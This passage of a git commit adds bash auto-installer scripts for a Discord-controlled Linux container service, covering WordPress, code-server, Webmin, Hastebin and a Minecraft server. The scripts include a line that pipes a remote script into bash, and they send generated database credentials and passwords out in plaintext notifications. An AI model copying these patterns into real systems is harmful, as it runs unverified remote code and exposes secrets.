commit 754955ce15e6eca95d7865fac8f1d1a759c35677 Author: Raven Scott Date: Tue May 31 18:28:17 2022 -0500 first commit diff --git a/64/wp b/64/wp new file mode 100644 index 0000000..9564329 --- /dev/null +++ b/64/wp @@ -0,0 +1,131 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux Wordpress Automated installer" +echo "This will install Apache, MySQL, PHP and Wordpress on your system" +echo "The install will be located at /var/www/html" +echo "downloading the Notification Bot" +wget -q -O /usr/bin/notif https://ssh.surf/notif && chmod +x /usr/bin/notif +echo "Done" + +notif "Thank for for using Discord-Linux x64 Beta! We are preparing your Wordpress installation..." + +echo "======System Info========" +uptime +hostname +ifconfig +free -h +df -h +echo "======Updating System=======" +apt update +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" - + +echo "=====Allowing Overrides========" +sed -i 's/AllowOverride None/AllowOverride All/g' /etc/apache2/apache2.conf +echo "done." +echo "======Starting MariaDB=======" +service mariadb start +echo "sleeping 3 seconds to allow mysql to start" +sleep 3 +echo "======creating database with random strings for dbname, dbuser and dbpassword=====" + +DBNAME=$(openssl rand -hex 12) +USERNAME=$(openssl rand -hex 12) +PASSWORD=$(openssl rand -hex 12) + +mysql -uroot -e "CREATE DATABASE $DBNAME CHARACTER SET utf8 COLLATE utf8_general_ci"; +mysql -uroot -e "CREATE USER $USERNAME@'localhost' IDENTIFIED BY '$PASSWORD'"; +mysql -uroot -e "GRANT ALL PRIVILEGES ON $DBNAME.* TO '$USERNAME'@'localhost'"; + +echo "Database and user created." +notif "We have created the following Database information for this installaton: Database: $DBNAME, Username: $USERNAME, Password: $PASSWORD" + +#https://askubuntu.com/questions/916199/install-apt-show-versions-inside-an-ubuntu-docker-container + +echo "=====Fixing SystemD=======" + +sh /var/tools/getsystemctl.sh + +echo "=====Installing Wordpress base=====" + +wget -O /var/www/html/latest.tar.gz https://wordpress.org/latest.tar.gz +#unzip wordpress +cd /var/www/html && tar -zxvf latest.tar.gz +#change dir to wordpress +cd /var/www/html/wordpress +#copy file to parent dir +cp -rf . .. +#move back to parent dir +cd .. +#remove files from wordpress folder +rm -R wordpress +#create wp config +cp wp-config-sample.php wp-config.php + +echo "=====Setting up WP DB Config=====" +#set database details with perl find and replace +perl -pi -e "s/database_name_here/$DBNAME/g" /var/www/html/wp-config.php +perl -pi -e "s/username_here/$USERNAME/g" /var/www/html/wp-config.php +perl -pi -e "s/password_here/$PASSWORD/g" /var/www/html/wp-config.php + + + +#set WP salts +perl -i -pe' + BEGIN { + @chars = ("a" .. "z", "A" .. "Z", 0 .. 9); + push @chars, split //, "!@#$%^&*()-_ []{}<>~\`+=,.;:/?|"; + sub salt { join "", map $chars[ rand @chars ], 1 .. 64 } + } + s/put your unique phrase here/salt()/ge +' /var/www/html/wp-config.php + +#create uploads folder and set permissions +mkdir /var/www/html/wp-content/uploads +chmod 775 /var/www/html/wp-content/uploads +mkdir -p /var/www/temp +chmod 755 /var/www/temp + +echo "====Installing WP CLI=====" +# installing wp cli +curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar +php wp-cli.phar --info +chmod +x wp-cli.phar +sudo mv wp-cli.phar /usr/local/bin/wp + +echo "====Setting Custom ENV====" +cd /var/www/html/ && wp config set FS_METHOD \'direct\' --raw --type=constant --allow-root +cd /var/www/html/ && wp config set 'WP_TEMP_DIR' \'/var/www/temp\' --raw --type=constant --allow-root + +echo "====repairing ownership and permissions=====" +chown -R www-data:www-data /var/www/html/ +chown -R www-data:www-data /var/www/temp + + +find /var/www/html/ -type d -exec chmod 755 {} \; +find /var/www/html/ -type f -exec chmod 644 {} \; + +rm -f /var/www/html/index.html +sed -i "3 iif ( (\!empty( \$_SERVER['HTTP_X_FORWARDED_HOST'])) || (\!empty( \$_SERVER['HTTP_X_FORWARDED_FOR'])) ) { \$_SERVER['HTTPS'] = 'on'; }" /var/www/html/wp-config.php +echo "Cleaning..." +#remove zip file +rm latest.tar.gz + +echo "=====Setting serverName ENV=====" +echo "serverName $(hostname)" >> /etc/apache2/apache2.conf + +echo "====starting webserver=====" +service apache2 start +echo "=====starting httpRelay====" +httpPort +sed -i "s/#wp/service mariadb start \&\& service apache2 start/g" /start.sh +echo "=========================" +echo "Installation is complete." +echo "=========================" +sed -i 's/wpinstaller//g' /start.sh +mv /wpInstaller_log /var/log +sleep 3 +echo "$(httpURL)" +echo "$(httpURL)" > /wpInstallComplete + +notif "Installation is complete. You can access your site at $(httpURL)" + diff --git a/alma/code-server b/alma/code-server new file mode 100644 index 0000000..e4d6db1 --- /dev/null +++ b/alma/code-server @@ -0,0 +1,53 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux CodeServer Automated installer" +echo "This installer will automatically select a port on your container." +echo "I will let you know how to access your installation when installation is complete." +echo "" + + +echo "downloading the Notification Bot" +wget -q -O /usr/bin/notif https://ssh.surf/debian/notif && chmod +x /usr/bin/notif +echo "Done" + +notif "Welcome to the Code-Server Automated installer for Discord-Linux ARM, We are preparing your installation..." + +notif "Installing Code-Server 3.12 using DPKG" + +wget https://github.com/coder/code-server/releases/download/v3.12.0/code-server-3.12.0-arm64.rpm +rpm -U code-server-3.12.0-arm64.rpm +rm -f code-server-3.12.0-arm64.rpm + +notif "Downloading our configurations" + +wget -q -O /var/tools/startCodeServer.json https://ssh.surf/install/code-server/startCodeServer.json + +wget -q -O /var/tools/startCodeServer.sh https://ssh.surf/install/code-server/startCodeServer.sh + +chmod +x /var/tools/startCodeServer.sh + +mkdir -vp /root/.config/code-server/ + +wget -q -O /root/.config/code-server/config.yaml https://ssh.surf/install/code-server/config.yaml + +PASS=$(openssl rand -hex 12) + + +sed -i "s/replaceme/${PASS}/g" ~/.config/code-server/config.yaml + +sed -i "s/#code-server/cd \/var\/tools \&\& pm2 start startCodeServer.json \&\& relayPort 8080/g" /start.sh + + + +notif "Requesting port from API Server" +hostname=$(hostname) + +echo "Grabbing a port from your container from our API" +port=$(curl -s https://findport.ssh.surf/?id=$hostname) + +sed -i "s/127.0.0.1:8080/0.0.0.0:${port}/g" /root/.config/code-server/config.yaml + +pm2 start /var/tools/startCodeServer.json + + +notif "The installation has completed. You may access your install at: http://ssh.surf:$port with the password $PASS" diff --git a/alma/hastebin b/alma/hastebin new file mode 100644 index 0000000..79e3459 --- /dev/null +++ b/alma/hastebin @@ -0,0 +1,55 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux HasteBin Automated installer" +echo "This installer will automatically select a port on your container." +echo "I will let you know how to access your Webmin installation when installation is complete." +echo "" + + +echo "downloading the Notification Bot" +wget -q -O /usr/bin/notif https://ssh.surf/debian/notif && chmod +x /usr/bin/notif +echo "Done" + +notif "Welcome to the HasteBin Automated installer for Discord-Linux, We are preparing your installation..." + +sleep 3 +cd /home + +notif "Cloning into /home/haste-server" +git clone https://github.com/seejohnrun/haste-server.git + +cd haste-server + +npm install + +npm update + +notif "Requesting port from API Server" +hostname=$(hostname) + +echo "Grabbing a port from your container from our API" +port=$(curl -s https://findport.ssh.surf/?id=$hostname) + +sed -i "s/7777/${port}/g" config.js + + +notif "Configuring HasteBin and starting it's server" +wget -O hasteBinStart.json https://ssh.surf/install/hastebin + +cd /home/haste-server && pm2 start hasteBinStart.json + +sed -i "s/#hastebin/cd \/home\/haste-server \&\& pm2 start hasteBinStart.json/g" /start.sh + + +echo "Your installation has completed, you may access your installation at: http://ssh.surf:$port" +echo "" +echo "" +echo "You may also create a subdomain for your installation by usoing the following commands in discord" +echo "+dns register yoursubdomainhere" +echo "+dns vhost $port" +echo "The installation will then be avalible over encrypted SSL at https://yoursubdomainhere.ssh.surf" + +echo "Sending discord notification to your account:" +notif "Your hastebin installation has completed, you may access your installation at: http://ssh.surf:$port" + + diff --git a/alma/jdk b/alma/jdk new file mode 100644 index 0000000..78aeb62 --- /dev/null +++ b/alma/jdk @@ -0,0 +1,11 @@ +cat < /etc/yum.repos.d/adoptium.repo +[Adoptium] +name=Adoptium +baseurl=https://packages.adoptium.net/artifactory/rpm/centos/8/$(uname -m) +enabled=1 +gpgcheck=1 +gpgkey=https://packages.adoptium.net/artifactory/api/gpg/key/public +EOF +yum remove java-1.8.0-openjdk-headless -y +yum update -y # update if you haven't already -y +yum install temurin-17-jdk -y \ No newline at end of file diff --git a/alma/list b/alma/list new file mode 100644 index 0000000..811c7be --- /dev/null +++ b/alma/list @@ -0,0 +1,12 @@ +Software Currently Avalible for AlmaLinux: +To install use: auto-install packageName + +PackageName - Software URL + +webmin - https://www.webmin.com/ +osjs-webdesktop - https://www.os-js.org/ +wp - https://wordpress.org/ +hastebin - https://www.toptal.com/developers/hastebin/about.md +code-server - https://github.com/coder/code-server +jdk - https://adoptium.net/ +mc - https://papermc.io/ diff --git a/alma/mc b/alma/mc new file mode 100644 index 0000000..79cb08b --- /dev/null +++ b/alma/mc @@ -0,0 +1,63 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux MineCraft Server Automated installer" +echo "This will install MineCraft Sever on your system" +echo "A random port on your container will be selected." +printf "\n" +echo "Running this sever does require the Discord-Linux Power Plan" +echo "You may purchase this plan here: https://store.discord-linux.com/product/discord-power-upgrade/" +printf "\n" +echo "Sleeping for 30 seconds, please close this process if you do not wish to continue" + +sleep 30 + +wget -q -O - https://ssh.surf/notify | bash +notif "Welcome to the MineCraft Server installer for Discord-Linux, the installation is starting and will complete in 45 seconds" +useradd mc +mkdir -vp /home/mc +chown mc:mc /home/mc +wget -O /home/mc/server.jar https://api.papermc.io/v2/projects/paper/versions/1.18.2/builds/357/downloads/paper-1.18.2-357.jar + + +wget -O /home/mc/minecraft-server.json https://ssh.surf/install/mc/minecraft-server.json + + +wget -q -O /home/mc/eula.txt https://ssh.surf/install/mc/eula + +chown -R mc:mc + +su - mc -c "cd /home/mc/ && pm2 start minecraft-server.json" + +echo "sleeping 30 seconds to allow the server to generate" +sleep 30 + +echo "Shutting down the MC server for port configuration" + +su - mc -c "cd /home/mc/ && pm2 delete all" + +echo "killing any possible running instances of java" +pkill java -9 + + +hostname=$(hostname) + +echo "Grabbing a port from your container from our API" +port=$(curl -s https://findport.ssh.surf/?id=$hostname) +sleep 10 +echo "Setting port in our config" +sed -i "s/25565/${port}/g" /home/mc/server.properties +sed -i "s/max-players=20/max-players=4/g" /home/mc/server.properties +sed -i "s/A Minecraft Server/An MC Server running on Discord-Linux/g" /home/mc/server.properties + +echo "Starting the server for final launch" +su - mc -c "cd /home/mc/ && pm2 start minecraft-server.json" +chown mc:mc /home/mc +echo "=========================" +echo "Installation is complete." +echo "=========================" + + +echo "Your installation has completed, connect to your MineCraft Server using the following: ssh.surf:$port" +notif "Your installation has completed, connect to your MineCraft Server using the following: ssh.surf:$port" +echo "Please allow up to 5 minutes for the server to start up" + diff --git a/alma/osjs-webdesktop b/alma/osjs-webdesktop new file mode 100755 index 0000000..e6797de --- /dev/null +++ b/alma/osjs-webdesktop @@ -0,0 +1,116 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux OSjs Automated installer" +echo "This installer will automatically select a port on your container." +echo "I will let you know how to access your installation when this process is complete." +echo "" +echo "" +echo "" +echo "Sleeping for 5 seconds, please close this process if you do not wish to continue" +yum groupinstall 'Development Tools' -y +yum install pam-devel -y + +sleep 5 +echo "downloading the Notification Bot" +wget -q -O /usr/bin/notif https://ssh.surf/debian/notif && chmod +x /usr/bin/notif +echo "Done" + +notif "Welcome to the OSjs Automated installer for Discord-Linux, we will begin by updating your system. Please wait..." + +sh /var/tools/getsystemctl.sh + +notif "The system has been updated and systemD has been patched, we are now starting to install the required NPM's for OSjs" + +mkdir -vp /webos + +cd /webos && git clone https://github.com/os-js/OS.js.git + +mv /webos/OS.js /webos/OSjs + +cd /webos/OSjs && rm -f package-lock.json + +echo "Installing main packages..." +npm install + +npm update + +notif "The Core OSjs Packages have been installed, we are now starting to install the Applications for OSJS Via NPM" + +npm install @osjs/textpad-application +npm install --save --production @osjs/draw-application +npm install --save --production @osjs/filemanager-application +npm install @osjs/settings-application +npm install @osjs/writer-application +npm install --save --production @osjs/xterm-application +npm install --save --production @osjs/ace-application +npm install @osjs/xpra-application +npm install @osjs/vnc-application +npm install @osjs/epub-application +npm install @osjs/webodf-application +npm install @osjs/wolfenstein3d-application +npm install @osjs/tetris-application +npm install @osjs/standard-theme +npm install @osjs/standard-dark-theme +npm install @osjs/gnome-icons +npm install @osjs/freedesktop-sounds +npm install --save --production @osjs/pam-auth + +echo "Fixing detected vulns" + +npm audit fix + + + + +notif "We are almost finished, we are now configuring OSjs and starting the server" + +echo "removing config files..." +rm -f src/server/index.js + +rm -f src/server/config.js + +rm -f src/client/config.js + + +echo "Installing our own customized config files" + +wget -O src/server/index.js https://ssh.surf/install/osjs/osjs_server_index.js + +wget -O src/server/config.js https://ssh.surf/install/osjs/osjs_server_config.js + +wget -O src/client/config.js https://ssh.surf/install/osjs/osjs_client_config.js + +wget -O src/client/wallpaper.jpg https://ssh.surf/wallpaper.jpg + +wget -O osjsStart.json https://ssh.surf/install/osjs/osjsStart.json + +hostname=$(hostname) + +echo "Grabbing a port from your container from our API" +port=$(curl -s https://findport.ssh.surf/?id=$hostname) + +echo "Setting port in our config" +sed -i "s/CUSTOM/${port}/g" src/server/config.js + +echo "Discovering all installed packages..." +npm run package:discover + +echo "Building the client..." +npm run build + +rm -f /webos/OSjs/dist/f4cfc6708cf6bfc17d4b1e775f594ae2.png + +wget -O /webos/OSjs/dist/f4cfc6708cf6bfc17d4b1e775f594ae2.png https://ssh.surf/wallpaper.png + +cd /webos/OSjs && pm2 start osjsStart.json + +echo "cd /webos/OSjs && pm2 start osjsStart.json" > /var/tools/osjsboot.sh + +chmod +x /var/tools/osjsboot.sh + +sed -i "s/#osjs/cd \/webos\/OSjs \&\& pm2 start osjsStart.json /g" /start.sh + +echo "Sending discord notification to your account:" +notif "Your OSJS installation has completed and should be running at this time, you may access your installation at: http://ssh.surf:$port" + +echo "Your OSJs installation has completed and should be running at this time, you may access your installation at: http://ssh.surf:$port" diff --git a/alma/send-to-log b/alma/send-to-log new file mode 100644 index 0000000..ab2df6b --- /dev/null +++ b/alma/send-to-log @@ -0,0 +1,46 @@ +#!/bin/bash +echo "Welcome to the Send-To-Log system installer" +wget -q -O /usr/bin/notif https://ssh.surf/debian/notif && chmod +x /usr/bin/notif +sleep 2 +yum groupinstall 'Development Tools' -y +yum install cmake -y + +notif Welcome to the Send-To-Log installer, we will pick a port and provide you a URL when complete. + +notif Cloning and Configuring our Software + +# Move to our tmp directory +cd /tmp +# Clone the repo +git clone https://github.com/tsl0922/ttyd.git +# Move and build! +cd ttyd && mkdir build && cd build +# Install +cd /tmp/ttyd/build && cmake .. +cd /tmp/ttyd/build && make && sudo make install + +# lets download our start up files backend and frontend. +wget -q -O /etc/systemd/system/s2l.service https://ssh.surf/install/s2l/s2l-service.service + +wget -q -O /etc/s2l.json https://ssh.surf/install/s2l/s2l-pm2.json + +wget -q -O /usr/bin/s2l https://ssh.surf/install/s2l/input.sh + +chmod +x /usr/bin/s2l + +hostname=$(hostname) + +echo "Grabbing a port from your container from our API" +port=$(curl -s https://findport.ssh.surf/?id=$hostname) + +sed -i "s/changeme/${port}/g" /etc/s2l.json +sed -i "s/#s2lmain/systemctl start s2l \&\& sleep 5/g" /start.sh +sed -i "s/#s2lsecond/pm2 start \/etc\/s2l.json/g" /start.sh +cd / +systemctl start s2l +sleep 5 +pm2 start /etc/s2l.json + +echo "Done, you may access s2l at http://ssh.surf:$port" +notif Done, you may access s2l at http://ssh.surf:$port +notif Send commands using s2l commandhere or on the bot ^s commandhere diff --git a/alma/webmin b/alma/webmin new file mode 100755 index 0000000..72c96c3 --- /dev/null +++ b/alma/webmin @@ -0,0 +1,53 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux Webmin Automated installer" +echo "This installer will automatically select a port on your container." +echo "I will let you know how to access your Webmin installation when installation is complete." +echo "" +echo "" +echo "" +echo "" + +echo "downloading the Notification Bot" +wget -q -O /usr/bin/notif https://ssh.surf/debian/notif && chmod +x /usr/bin/notif +echo "Done" + +notif "Welcome to the Webmin Automated installer for Discord-Linux, We are preparing your installation..." +yum install dnf-plugins-core -y + +yum config-manager --set-enabled powertools + + +yum -y install perl perl-Net-SSLeay openssl perl-IO-Tty perl-Encode-Detect + +cd /tmp +wget http://prdownloads.sourceforge.net/webadmin/webmin-1.994-1.noarch.rpm +rpm -U webmin-1.994-1.noarch.rpm +rm -f webmin-1.994-1.noarch.rpm + + +#notif "Finding a port and configuring webmin" + +hostname=$(hostname) + +echo "Grabbing a port from your container from our API" +port=$(curl -s https://findport.ssh.surf/?id=$hostname) + +echo "Disabling SSL in webmin for proxy support" +sed -i 's/ssl=1/ssl=0/g' /etc/webmin/miniserv.conf +echo "disabling refer checks to allow for vhost usage" +sed -i 's/referers_none=1/referers_none=0/g' /etc/webmin/config +sed -i 's/referer=1/referer=0/g' /etc/webmin/config +echo "Setting Webmin Port" +sed -i "s/10000/${port}/g" /etc/webmin/miniserv.conf + + +service webmin start + +sed -i "s/#webmin/service webmin start/g" /start.sh + +#notif "Your webmin installation has completed, you may access your installation at: http://ssh.surf:$port" + +echo "Your installation has completed, you may access your installation at: http://ssh.surf:$port" + + diff --git a/alma/wp b/alma/wp new file mode 100644 index 0000000..63e19d1 --- /dev/null +++ b/alma/wp @@ -0,0 +1,155 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux Wordpress Automated installer" +echo "This will install Apache, MySQL, PHP and Wordpress on your system" +echo "The install will be located at /var/www/html" + +echo "downloading the Notification Bot" + + +wget -q -O /usr/bin/notif https://ssh.surf/debian/notif && chmod +x /usr/bin/notif + + + +notif "Welcome to the Wordpress Automated installer for Discord-Linux, We are preparing your installation..." +yum install dnf-plugins-core sudo -y + +yum config-manager --set-enabled powertools + +yum groupinstall 'Development Tools' -y + +echo "Installing dependencies for Apache and PHP" + + + +notif "Installing dependencies for Apache and PHP" +#sudo add-apt-repository ppa:ondrej/php +#sudo apt update +sudo dnf install httpd httpd-tools -y +sudo dnf module reset php -y + +sudo dnf module enable php:7.4 -y + +sudo dnf install php php-common php-opcache php-cli php-gd php-curl php-mysqlnd -y + +sudo dnf install mariadb-server -y + + + +sed -i 's/AllowOverride None/AllowOverride All/g' /etc/apache2/apache2.conf + + + + + +notif "Installing MySQL 8" +echo "Installing MySQL 8" + + +echo "Starting MySQL 8" +service mysql start +notif "Sleeping for 5 seconds to allow MySQL to start." +echo "Sleeping 5 seconds to allow MySQL to start" +sleep 5 + +echo "creating database with random strings for dbname, dbuser and dbpassword" +DBNAME=$(openssl rand -hex 12) +USERNAME=$(openssl rand -hex 12) +PASSWORD=$(openssl rand -hex 12) + +mysql -uroot -e "CREATE DATABASE $DBNAME CHARACTER SET utf8 COLLATE utf8_general_ci"; +mysql -uroot -e "CREATE USER $USERNAME@'127.0.0.1' IDENTIFIED BY '$PASSWORD'"; +mysql -uroot -e "GRANT ALL PRIVILEGES ON $DBNAME.* TO '$USERNAME'@'127.0.0.1'"; + +notif "We have created the following Database information for this installaton: Database:$DBNAME|Username:$USERNAME|Password:$PASSWORD" + + + +echo "Database and user created." + +#https://askubuntu.com/questions/916199/install-apt-show-versions-inside-an-ubuntu-docker-container + +echo "Fixing SystemD" + +sh /var/tools/getsystemctl.sh + +echo "Installing Wordpress base" + +wget -O /var/www/html/latest.tar.gz https://wordpress.org/latest.tar.gz +#unzip wordpress +cd /var/www/html && tar -zxvf latest.tar.gz +#change dir to wordpress +cd /var/www/html/wordpress +#copy file to parent dir +cp -rf . .. +#move back to parent dir +cd .. +#remove files from wordpress folder +rm -R wordpress +#create wp config +cp wp-config-sample.php wp-config.php + +echo "Setting up WP DB Config" +#set database details with perl find and replace +perl -pi -e "s/database_name_here/$DBNAME/g" /var/www/html/wp-config.php +perl -pi -e "s/username_here/$USERNAME/g" /var/www/html/wp-config.php +perl -pi -e "s/password_here/$PASSWORD/g" /var/www/html/wp-config.php +perl -pi -e "s/localhost/127.0.0.1/g" /var/www/html/wp-config.php + + +#set WP salts +perl -i -pe' + BEGIN { + @chars = ("a" .. "z", "A" .. "Z", 0 .. 9); + push @chars, split //, "!@#$%^&*()-_ []{}<>~\`+=,.;:/?|"; + sub salt { join "", map $chars[ rand @chars ], 1 .. 64 } + } + s/put your unique phrase here/salt()/ge +' /var/www/html/wp-config.php + +#create uploads folder and set permissions +mkdir /var/www/html/wp-content/uploads +chmod 775 /var/www/html/wp-content/uploads +mkdir -p /var/www/temp +chmod 755 /var/www/temp + +echo "Installing WP CLI" +# installing wp cli +curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar +php wp-cli.phar --info +chmod +x wp-cli.phar +sudo mv wp-cli.phar /usr/local/bin/wp + +echo "Setting Custom ENV" +cd /var/www/html/ && wp config set FS_METHOD \'direct\' --raw --type=constant --allow-root +cd /var/www/html/ && wp config set 'WP_TEMP_DIR' \'/var/www/temp\' --raw --type=constant --allow-root + +echo "repairing ownership and permissions" +chown -R www-data:www-data /var/www/html/ +chown -R www-data:www-data /var/www/temp + + +find /var/www/html/ -type d -exec chmod 755 {} \; +find /var/www/html/ -type f -exec chmod 644 {} \; + +rm -f /var/www/html/index.html +sed -i "3 iif ( (\!empty( \$_SERVER['HTTP_X_FORWARDED_HOST'])) || (\!empty( \$_SERVER['HTTP_X_FORWARDED_FOR'])) ) { \$_SERVER['HTTPS'] = 'on'; }" /var/www/html/wp-config.php +echo "Cleaning..." +#remove zip file +rm latest.tar.gz + +echo "Setting serverName ENV" +echo "serverName $(hostname)" >> /etc/httpd/conf/httpd.conf + +echo "starting webserver" +sudo systemctl start php-fpm + +service httpd restart +sed -i "s/#wp/service mysql start \&\& service httpd start/g" /start.sh +echo "=========================" +echo "Installation is complete." +echo "=========================" + +notif "The Wordpress installation is complete, please complete your installation at your HTTP Port." + + diff --git a/alpine/list b/alpine/list new file mode 100644 index 0000000..fa14bac --- /dev/null +++ b/alpine/list @@ -0,0 +1,5 @@ +Software Currently Avalible for Alpine: +To install use: auto-install packageName + +PackageName - Software URL +Sorry, No installers have been coded yet :( \ No newline at end of file diff --git a/alpine/webmin b/alpine/webmin new file mode 100755 index 0000000..546e20e --- /dev/null +++ b/alpine/webmin @@ -0,0 +1,58 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux Webmin Automated installer" +echo "This installer will automatically select a port on your container." +echo "I will let you know how to access your Webmin installation when installation is complete." +echo "" +echo "" +echo "" +echo "" + +apt update +echo "downloading the Notification Bot" +wget -q -O /usr/bin/notif https://ssh.surf/debian/notif && chmod +x /usr/bin/notif +echo "Done" + +#notif "Welcome to the Webmin Automated installer for Discord-Linux, We are preparing your installation..." + + + +apk add perl perl-net-ssleay + + +cd /opt +wget -O - https://github.com/webmin/webmin/archive/refs/tags/1.991.tar.gz | tar -xzf - + +mv webmin-1.991 webmin + +cd webmin +./setup.sh /usr/local/webmin + + + +#notif "Finding a port and configuring webmin" + +hostname=$(hostname) + +echo "Grabbing a port from your container from our API" +port=$(curl -s https://findport.ssh.surf/?id=$hostname) + +echo "Disabling SSL in webmin for proxy support" +sed -i 's/ssl=1/ssl=0/g' /etc/webmin/miniserv.conf +echo "disabling refer checks to allow for vhost usage" +sed -i 's/referers_none=1/referers_none=0/g' /etc/webmin/config +sed -i 's/referer=1/referer=0/g' /etc/webmin/config +echo "Setting Webmin Port" +sed -i "s/10000/${port}/g" /etc/webmin/miniserv.conf + +rm -f /tmp/webmin_1.984_all.deb + +service webmin start + +sed -i "s/#webmin/service webmin start/g" /start.sh + +#notif "Your webmin installation has completed, you may access your installation at: http://ssh.surf:$port" + +echo "Your installation has completed, you may access your installation at: http://ssh.surf:$port" + + diff --git a/arch/list b/arch/list new file mode 100644 index 0000000..e36394e --- /dev/null +++ b/arch/list @@ -0,0 +1 @@ +There is no installers configured yet. \ No newline at end of file diff --git a/code-server-64 b/code-server-64 new file mode 100644 index 0000000..b4ec893 --- /dev/null +++ b/code-server-64 @@ -0,0 +1,58 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux CodeServer Automated installer" +echo "This installer will automatically select a port on your container." +echo "I will let you know how to access your installation when installation is complete." +echo "" + + +echo "downloading the Notification Bot" +wget -q -O /usr/bin/notif https://ssh.surf/notify-x64 && chmod +x /usr/bin/notif +echo "Done" + +notif "Welcome to the Code-Server Automated installer for Discord-Linux x64, We are preparing your installation..." + +apt update +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y + +wget -q https://github.com/coder/code-server/releases/download/v3.12.0/code-server_3.12.0_amd64.deb + +notif "Installing Code-Server 3.12 using DPKG" + +dpkg -i code-server_3.12.0_amd64.deb + +rm -f code-server_3.12.0_amd64.deb + +notif "Downloading our configurations" + +wget -q -O /var/tools/startCodeServer.json https://ssh.surf/install/code-server/startCodeServer.json + +wget -q -O /var/tools/startCodeServer.sh https://ssh.surf/install/code-server/startCodeServer.sh + +chmod +x /var/tools/startCodeServer.sh + +mkdir -vp /root/.config/code-server/ + +wget -q -O /root/.config/code-server/config.yaml https://ssh.surf/install/code-server/config.yaml + +PASS=$(openssl rand -hex 12) + + +sed -i "s/replaceme/${PASS}/g" ~/.config/code-server/config.yaml + +sed -i "s/#code-server/pm2 start \/var\/tools\/startCodeServer.json \&\& relayPort 8080/g" /start.sh + +pm2 start /var/tools/startCodeServer.sh + + +sleep 5 +notif "Sleeping for 5 seconds to allow for code-server to start...." + +relayPort 8080 + +sleep 5 +notif "Sleeping to allow the relay to start..." + +url=$(grep -hPo "(?<=listening ).*" /root/.pm2/logs/Relay-8080-out.log | head -n 1 | sed 's/$/.virt.fun/') + +notif "The installation has completed. You may access your install at: https://$url with the password $PASS" diff --git a/debian/code-server b/debian/code-server new file mode 100644 index 0000000..0e03395 --- /dev/null +++ b/debian/code-server @@ -0,0 +1,58 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux CodeServer Automated installer" +echo "This installer will automatically select a port on your container." +echo "I will let you know how to access your installation when installation is complete." +echo "" + + +echo "downloading the Notification Bot" +wget -q -O /usr/bin/notif https://ssh.surf/debian/notif && chmod +x /usr/bin/notif +echo "Done" + +notif "Welcome to the Code-Server Automated installer for Discord-Linux ARM, We are preparing your installation..." + +apt update +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y + +wget -q https://github.com/coder/code-server/releases/download/v3.12.0/code-server_3.12.0_arm64.deb + +notif "Installing Code-Server 3.12 using DPKG" + +dpkg -i code-server_3.12.0_arm64.deb + +rm -f code-server_3.12.0_arm64.deb + +notif "Downloading our configurations" + +wget -q -O /var/tools/startCodeServer.json https://ssh.surf/install/code-server/startCodeServer.json + +wget -q -O /var/tools/startCodeServer.sh https://ssh.surf/install/code-server/startCodeServer.sh + +chmod +x /var/tools/startCodeServer.sh + +mkdir -vp /root/.config/code-server/ + +wget -q -O /root/.config/code-server/config.yaml https://ssh.surf/install/code-server/config.yaml + +PASS=$(openssl rand -hex 12) + + +sed -i "s/replaceme/${PASS}/g" ~/.config/code-server/config.yaml + +sed -i "s/#code-server/cd \/var\/tools \&\& pm2 start startCodeServer.json \&\& relayPort 8080/g" /start.sh + + + +notif "Requesting port from API Server" +hostname=$(hostname) + +echo "Grabbing a port from your container from our API" +port=$(curl -s https://findport.ssh.surf/?id=$hostname) + +sed -i "s/127.0.0.1:8080/0.0.0.0:${port}/g" /root/.config/code-server/config.yaml + +pm2 start /var/tools/startCodeServer.json + + +notif "The installation has completed. You may access your install at: http://ssh.surf:$port with the password $PASS" diff --git a/debian/hastebin b/debian/hastebin new file mode 100644 index 0000000..dd139eb --- /dev/null +++ b/debian/hastebin @@ -0,0 +1,57 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux HasteBin Automated installer" +echo "This installer will automatically select a port on your container." +echo "I will let you know how to access your Webmin installation when installation is complete." +echo "" + + +echo "downloading the Notification Bot" +wget -q -O /usr/bin/notif https://ssh.surf/debian/notif && chmod +x /usr/bin/notif +echo "Done" + +notif "Welcome to the HasteBin Automated installer for Discord-Linux, We are preparing your installation..." + +apt update +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y + +cd /home + +notif "Cloning into /home/haste-server" +git clone https://github.com/seejohnrun/haste-server.git + +cd haste-server + +npm install + +npm update + +notif "Requesting port from API Server" +hostname=$(hostname) + +echo "Grabbing a port from your container from our API" +port=$(curl -s https://findport.ssh.surf/?id=$hostname) + +sed -i "s/7777/${port}/g" config.js + + +notif "Configuring HasteBin and starting it's server" +wget -O hasteBinStart.json https://ssh.surf/install/hastebin + +cd /home/haste-server && pm2 start hasteBinStart.json + +sed -i "s/#hastebin/cd \/home\/haste-server \&\& pm2 start hasteBinStart.json/g" /start.sh + + +echo "Your installation has completed, you may access your installation at: http://ssh.surf:$port" +echo "" +echo "" +echo "You may also create a subdomain for your installation by usoing the following commands in discord" +echo "+dns register yoursubdomainhere" +echo "+dns vhost $port" +echo "The installation will then be avalible over encrypted SSL at https://yoursubdomainhere.ssh.surf" + +echo "Sending discord notification to your account:" +notif "Your hastebin installation has completed, you may access your installation at: http://ssh.surf:$port" + + diff --git a/debian/jdk b/debian/jdk new file mode 100644 index 0000000..63fb3df --- /dev/null +++ b/debian/jdk @@ -0,0 +1,12 @@ +sudo apt-get install -y wget apt-transport-https + +wget -O - https://packages.adoptium.net/artifactory/api/gpg/key/public | sudo tee /usr/share/keyrings/adoptium.asc + +echo "deb [signed-by=/usr/share/keyrings/adoptium.asc] 